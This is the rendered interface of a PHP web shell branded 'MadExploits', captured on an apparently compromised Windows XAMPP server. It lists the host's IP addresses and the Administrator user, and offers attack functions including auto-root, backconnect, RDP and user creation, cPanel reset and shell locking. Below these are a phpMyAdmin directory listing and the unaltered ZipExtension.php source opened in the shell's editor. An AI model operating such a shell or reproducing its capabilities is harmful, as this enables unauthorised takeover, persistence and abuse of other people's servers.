Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 3.139.235.100
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Command
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
ConfigStorage
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Crypto
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbal
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Exceptions
[ DIR ]
drwxrwxrwx
Export
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Html
[ DIR ]
drwxrwxrwx
Http
[ DIR ]
drwxrwxrwx
Image
[ DIR ]
drwxrwxrwx
Import
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Partitioning
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Providers
[ DIR ]
drwxrwxrwx
Query
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Table
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
WebAuthn
[ DIR ]
drwxrwxrwx
Advisor.php
12.32
KB
-rw-rw-rw-
Bookmark.php
9.19
KB
-rw-rw-rw-
BrowseForeigners.php
10.63
KB
-rw-rw-rw-
Cache.php
1.5
KB
-rw-rw-rw-
Charsets.php
6.82
KB
-rw-rw-rw-
CheckUserPrivileges.php
11.3
KB
-rw-rw-rw-
Common.php
19.4
KB
-rw-rw-rw-
Config.php
41.65
KB
-rw-rw-rw-
Console.php
3.25
KB
-rw-rw-rw-
Core.php
28.91
KB
-rw-rw-rw-
CreateAddField.php
15.83
KB
-rw-rw-rw-
DatabaseInterface.php
71.73
KB
-rw-rw-rw-
DbTableExists.php
2.86
KB
-rw-rw-rw-
Encoding.php
8.41
KB
-rw-rw-rw-
Error.php
13.63
KB
-rw-rw-rw-
ErrorHandler.php
18.63
KB
-rw-rw-rw-
ErrorReport.php
8.99
KB
-rw-rw-rw-
Export.php
45.7
KB
-rw-rw-rw-
FieldMetadata.php
11.11
KB
-rw-rw-rw-
File.php
19.75
KB
-rw-rw-rw-
FileListing.php
2.88
KB
-rw-rw-rw-
FlashMessages.php
1.22
KB
-rw-rw-rw-
Font.php
5.58
KB
-rw-rw-rw-
Footer.php
8.06
KB
-rw-rw-rw-
Git.php
18
KB
-rw-rw-rw-
Header.php
20
KB
-rw-rw-rw-
Import.php
48.72
KB
-rw-rw-rw-
Index.php
14.83
KB
-rw-rw-rw-
IndexColumn.php
4.75
KB
-rw-rw-rw-
InsertEdit.php
89.05
KB
-rw-rw-rw-
InternalRelations.php
17.31
KB
-rw-rw-rw-
IpAllowDeny.php
9.13
KB
-rw-rw-rw-
Language.php
4.47
KB
-rw-rw-rw-
LanguageManager.php
22.74
KB
-rw-rw-rw-
Linter.php
4.99
KB
-rw-rw-rw-
ListAbstract.php
1.67
KB
-rw-rw-rw-
ListDatabase.php
4.11
KB
-rw-rw-rw-
Logging.php
2.69
KB
-rw-rw-rw-
Menu.php
20.4
KB
-rw-rw-rw-
Message.php
18.68
KB
-rw-rw-rw-
Mime.php
918
B
-rw-rw-rw-
Normalization.php
41.53
KB
-rw-rw-rw-
OpenDocument.php
8.62
KB
-rw-rw-rw-
Operations.php
35.11
KB
-rw-rw-rw-
OutputBuffering.php
4.1
KB
-rw-rw-rw-
ParseAnalyze.php
2.34
KB
-rw-rw-rw-
Pdf.php
4.17
KB
-rw-rw-rw-
Plugins.php
21.83
KB
-rw-rw-rw-
Profiling.php
2.16
KB
-rw-rw-rw-
RecentFavoriteTable.php
11.44
KB
-rw-rw-rw-
Replication.php
4.81
KB
-rw-rw-rw-
ReplicationGui.php
21.24
KB
-rw-rw-rw-
ReplicationInfo.php
4.79
KB
-rw-rw-rw-
ResponseRenderer.php
13.5
KB
-rw-rw-rw-
Routing.php
6.55
KB
-rw-rw-rw-
Sanitize.php
11.98
KB
-rw-rw-rw-
SavedSearches.php
11.33
KB
-rw-rw-rw-
Scripts.php
3.74
KB
-rw-rw-rw-
Session.php
8.16
KB
-rw-rw-rw-
Sql.php
64.01
KB
-rw-rw-rw-
SqlQueryForm.php
6.74
KB
-rw-rw-rw-
StorageEngine.php
15.71
KB
-rw-rw-rw-
SystemDatabase.php
3.98
KB
-rw-rw-rw-
Table.php
90.33
KB
-rw-rw-rw-
Template.php
4.5
KB
-rw-rw-rw-
Theme.php
7.32
KB
-rw-rw-rw-
ThemeManager.php
7
KB
-rw-rw-rw-
Tracker.php
30.34
KB
-rw-rw-rw-
Tracking.php
36.11
KB
-rw-rw-rw-
Transformations.php
16.31
KB
-rw-rw-rw-
TwoFactor.php
7.49
KB
-rw-rw-rw-
Types.php
25.85
KB
-rw-rw-rw-
Url.php
10.61
KB
-rw-rw-rw-
UrlRedirector.php
1.74
KB
-rw-rw-rw-
UserPassword.php
6.86
KB
-rw-rw-rw-
UserPreferences.php
10.49
KB
-rw-rw-rw-
Util.php
86.45
KB
-rw-rw-rw-
Version.php
556
B
-rw-rw-rw-
VersionInformation.php
7.3
KB
-rw-rw-rw-
ZipExtension.php
10.33
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ZipExtension.php
<?php /** * Interface for the zip extension */ declare(strict_types=1); namespace PhpMyAdmin; use ZipArchive; use function __; use function array_combine; use function count; use function crc32; use function getdate; use function gzcompress; use function implode; use function is_array; use function is_string; use function pack; use function preg_match; use function sprintf; use function str_replace; use function strcmp; use function strlen; use function strpos; use function substr; /** * Transformations class */ class ZipExtension { /** @var ZipArchive|null */ private $zip; public function __construct(?ZipArchive $zip = null) { $this->zip = $zip; } /** * Gets zip file contents * * @param string $file path to zip file * @param string $specificEntry regular expression to match a file * * @return array ($error_message, $file_data); $error_message * is empty if no error */ public function getContents($file, $specificEntry = null) { /** * This function is used to "import" a SQL file which has been exported earlier * That means that this function works on the assumption that the zip file contains only a single SQL file * It might also be an ODS file, look below */ if ($this->zip === null) { return [ 'error' => sprintf(__('The %s extension is missing. Please check your PHP configuration.'), 'zip'), 'data' => '', ]; } $errorMessage = ''; $fileData = ''; $res = $this->zip->open($file); if ($res !== true) { $errorMessage = __('Error in ZIP archive:') . ' ' . $this->zip->getStatusString(); $this->zip->close(); return [ 'error' => $errorMessage, 'data' => $fileData, ]; } if ($this->zip->numFiles === 0) { $errorMessage = __('No files found inside ZIP archive!'); $this->zip->close(); return [ 'error' => $errorMessage, 'data' => $fileData, ]; } /* Is the the zip really an ODS file? */ $odsMediaType = 'application/vnd.oasis.opendocument.spreadsheet'; $firstZipEntry = $this->zip->getFromIndex(0); if (! strcmp($odsMediaType, (string) $firstZipEntry)) { $specificEntry = '/^content\.xml$/'; } if (! isset($specificEntry)) { $fileData = $firstZipEntry; $this->zip->close(); return [ 'error' => $errorMessage, 'data' => $fileData, ]; } /* Return the correct contents, not just the first entry */ for ($i = 0; $i < $this->zip->numFiles; $i++) { if (preg_match($specificEntry, (string) $this->zip->getNameIndex($i))) { $fileData = $this->zip->getFromIndex($i); break; } } /* Couldn't find any files that matched $specific_entry */ if (empty($fileData)) { $errorMessage = __('Error in ZIP archive:') . ' Could not find "' . $specificEntry . '"'; } $this->zip->close(); return [ 'error' => $errorMessage, 'data' => $fileData, ]; } /** * Returns the filename of the first file that matches the given $file_regexp. * * @param string $file path to zip file * @param string $regex regular expression for the file name to match * * @return string|false the file name of the first file that matches the given regular expression */ public function findFile($file, $regex) { if ($this->zip === null) { return false; } $res = $this->zip->open($file); if ($res === true) { for ($i = 0; $i < $this->zip->numFiles; $i++) { if (preg_match($regex, (string) $this->zip->getNameIndex($i))) { $filename = $this->zip->getNameIndex($i); $this->zip->close(); return $filename; } } } return false; } /** * Returns the number of files in the zip archive. * * @param string $file path to zip file * * @return int the number of files in the zip archive or 0, either if there weren't any files or an error occurred. */ public function getNumberOfFiles($file) { if ($this->zip === null) { return 0; } $num = 0; $res = $this->zip->open($file); if ($res === true) { $num = $this->zip->numFiles; } return $num; } /** * Extracts the content of $entry. * * @param string $file path to zip file * @param string $entry file in the archive that should be extracted * * @return string|false data on success, false otherwise */ public function extract($file, $entry) { if ($this->zip === null) { return false; } if ($this->zip->open($file) === true) { $result = $this->zip->getFromName($entry); $this->zip->close(); return $result; } return false; } /** * Creates a zip file. * If $data is an array and $name is a string, the filenames will be indexed. * The function will return false if $data is a string but $name is an array * or if $data is an array and $name is an array, but they don't have the * same amount of elements. * * @param array|string $data contents of the file/files * @param array|string $name name of the file/files in the archive * @param int $time the current timestamp * * @return string|bool the ZIP file contents, or false if there was an error. */ public function createFile($data, $name, $time = 0) { $datasec = []; // Array to store compressed data $ctrlDir = []; // Central directory $oldOffset = 0; // Last offset position $eofCtrlDir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; // End of central directory record if (is_string($data) && is_string($name)) { $data = [$name => $data]; } elseif (is_array($data) && is_string($name)) { $extPos = (int) strpos($name, '.'); $extension = substr($name, $extPos); $newData = []; foreach ($data as $key => $value) { $newName = str_replace($extension, '_' . $key . $extension, $name); $newData[$newName] = $value; } $data = $newData; } elseif (is_array($data) && is_array($name) && count($data) === count($name)) { /** @var array $data */ $data = array_combine($name, $data); } else { return false; } foreach ($data as $table => $dump) { $tempName = str_replace('\\', '/', $table); /* Get Local Time */ $timearray = getdate(); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } $time = $timearray['year'] - 1980 << 25 | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); $hexdtime = pack('V', $time); $uncLen = strlen($dump); $crc = crc32($dump); $zdata = (string) gzcompress($dump); $zdata = substr((string) substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug $cLen = strlen($zdata); $fr = "\x50\x4b\x03\x04" . "\x14\x00" // ver needed to extract . "\x00\x00" // gen purpose bit flag . "\x08\x00" // compression method . $hexdtime // last mod time and date // "local file header" segment . pack('V', $crc) // crc32 . pack('V', $cLen) // compressed filesize . pack('V', $uncLen) // uncompressed filesize . pack('v', strlen($tempName)) // length of filename . pack('v', 0) // extra field length . $tempName // "file data" segment . $zdata; $datasec[] = $fr; // now add to central directory record $cdrec = "\x50\x4b\x01\x02" . "\x00\x00" // version made by . "\x14\x00" // version needed to extract . "\x00\x00" // gen purpose bit flag . "\x08\x00" // compression method . $hexdtime // last mod time & date . pack('V', $crc) // crc32 . pack('V', $cLen) // compressed filesize . pack('V', $uncLen) // uncompressed filesize . pack('v', strlen($tempName)) // length of filename . pack('v', 0) // extra field length . pack('v', 0) // file comment length . pack('v', 0) // disk number start . pack('v', 0) // internal file attributes . pack('V', 32) // external file attributes // - 'archive' bit set . pack('V', $oldOffset) // relative offset of local header . $tempName; // filename $oldOffset += strlen($fr); // optional extra field, file comment goes here // save to central directory $ctrlDir[] = $cdrec; } /* Build string to return */ $tempCtrlDir = implode('', $ctrlDir); $header = $tempCtrlDir . $eofCtrlDir . pack('v', count($ctrlDir)) . //total #of entries "on this disk" pack('v', count($ctrlDir)) . //total #of entries overall pack('V', strlen($tempCtrlDir)) . //size of central dir pack('V', $oldOffset) . //offset to start of central dir "\x00\x00"; //.zip file comment length $data = implode('', $datasec); return $data . $header; } }
Close